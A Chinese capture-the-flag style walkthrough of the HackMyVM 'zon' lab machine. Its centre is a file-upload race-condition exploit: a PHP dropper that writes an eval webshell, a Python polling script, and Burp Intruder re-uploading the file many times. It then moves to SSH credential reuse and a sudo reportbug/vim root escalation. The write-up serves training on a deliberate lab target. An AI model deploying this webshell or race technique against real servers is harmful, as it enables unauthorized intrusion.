hackmyvm靶场--zon

环境

攻击机kali

靶机

未知

主机探测

因为在同一个局域网内使用ARP协议探测存活主机

靶机为192.168.56.128

端口探测

常见的80和22端口

那么一定是寻找web漏洞拿shell了

后台扫描

后台扫描常用dirsearch和gobuster,有时候小字典可能不太行,可以尝试换个大点的字典试试

shell 复制代码
gobuster dir -w /var/www/html/dict/directory-list-lowercase-2.3-medium.txt -u http://192.168.56.128 -t 200 -x php,zip,jsp,asp,bak,jpg,png,mp4,mkv,txt,html,md,git,7z,rar,db,log,docx,xlsx -b 400-404,500

扫出一个后台目录choose.php,并且发现了uploads目录,猜测是文件上传

发现需要上传zip文件,里面是jpeg文件

先上传个正常的

查看一下uploads目录

可以正常访问

想要利用文件上传来拿到shell无非需要满足两个条件

1、成功上传木马文件

2、服务端可以解析该文件

这时,我们上传一个php的木马试试,我的压缩包里面放了一个php文件

结果显示给文件不是jpeg,会被删除

删除两个字,哈哈,让我想到了文件上传的常见考点--条件竞争

我们猜测服务器处理php文件是这样的,当我们在浏览器点击上传键的时候,服务器会先把文件上传到一个目录下,此靶机就是前面找到的uploads目录,然后服务器的脚本代码会对文件的后缀名进行检查,若不是jpeg,那么就会删除,而条件竞争就是利用服务器判断的间隙访问木马文件,在此间隙中,木马已经在服务器中,只不过还来不及判断删除就被我们访问到了,具体的知识涉及到多线程。

实现步骤:

首先准备create-shell.php这个炮灰shell文件,里面写一下代码

php 复制代码
<?php fwrite(fopen('shell.php','w'),'<?php @eval($_POST[11]);?>');?>

开启一个访问的Python脚本,作用为验证shell是否成功上传

python 复制代码
import requests


url1 = "http://127.0.0.1/upload/upload/create-shell.php"    # 定义访问 creat-shell.php
url2 = "http://127.0.0.1/upload/upload/shell.php"   
# 定义访问 shell.php

while True:  # 定义死循环
    html1 = requests.get(url1)  # 请求 create-shell.php
    html2 = requests.get(url2)  # 请求 shell.php
    if html2.status_code == 200:  # 如果 shell.php 返回的http状态码为200
        print('Good job,Win Win Win')  # 打印 Good job.....
        break
        

上传该文件并且使用burp抓包

在最下面输入数字1作为我们的爆破点

接着设置payload

把刚才的1遍历到1000,实现的结果就是burp会发送一摸一样的文件1000次,实现了对服务器的爆破

先运行Python脚本,随后开启burp的爆破模式,一段时间后成功竞争到该文件,说明shell已经成功上传

提权

拿到shell

因为蚁剑环境下不是一个真实的shell,需要我们重新反弹一个

升级shell

/usr/bin/script -qc /bin/bash /dev/null

在网站目录下发现了upload.php上传逻辑点,可以发现服务器确实是先上传了文件后进行判断删除

在网站的目录下发现了一个hashDB.sh的bash脚本,功能它自己写了,验证数据库的完整性

发现了mysqldump -u admin -p这段代码

尝试登录,成功

ssh登录freddie

拿到user.txt

sudo查看发现reportbug有提权的可能性

file /usr/bin/reportbug

python可执行脚本

以root运行

sudo reportbug

一段乱输之后发现有一个vim编辑器提权

拿下root.txtTOC]

相关推荐
jimy11 天前
安卓里运行Linux
linux·运维·服务器
爱凤的小光1 天前
Linux清理磁盘技巧---个人笔记
linux·运维
耗同学一米八1 天前
2026年河北省职业院校技能大赛中职组“网络建设与运维”赛项答案解析 1.系统安装
linux·服务器·centos
知星小度S1 天前
系统核心解析:深入文件系统底层机制——Ext系列探秘:从磁盘结构到挂载链接的全链路解析
linux
2401_890443021 天前
Linux 基础IO
linux·c语言
智慧地球(AI·Earth)1 天前
在Linux上使用Claude Code 并使用本地VS Code SSH远程访问的完整指南
linux·ssh·ai编程
老王熬夜敲代码1 天前
解决IP不够用的问题
linux·网络·笔记
zly35001 天前
linux查看正在运行的nginx的当前工作目录(webroot)
linux·运维·nginx
QT 小鲜肉1 天前
【Linux命令大全】001.文件管理之file命令(实操篇)
linux·运维·前端·网络·chrome·笔记
问道飞鱼1 天前
【Linux知识】Linux 虚拟机磁盘扩缩容操作指南(按文件系统分类)
linux·运维·服务器·磁盘扩缩容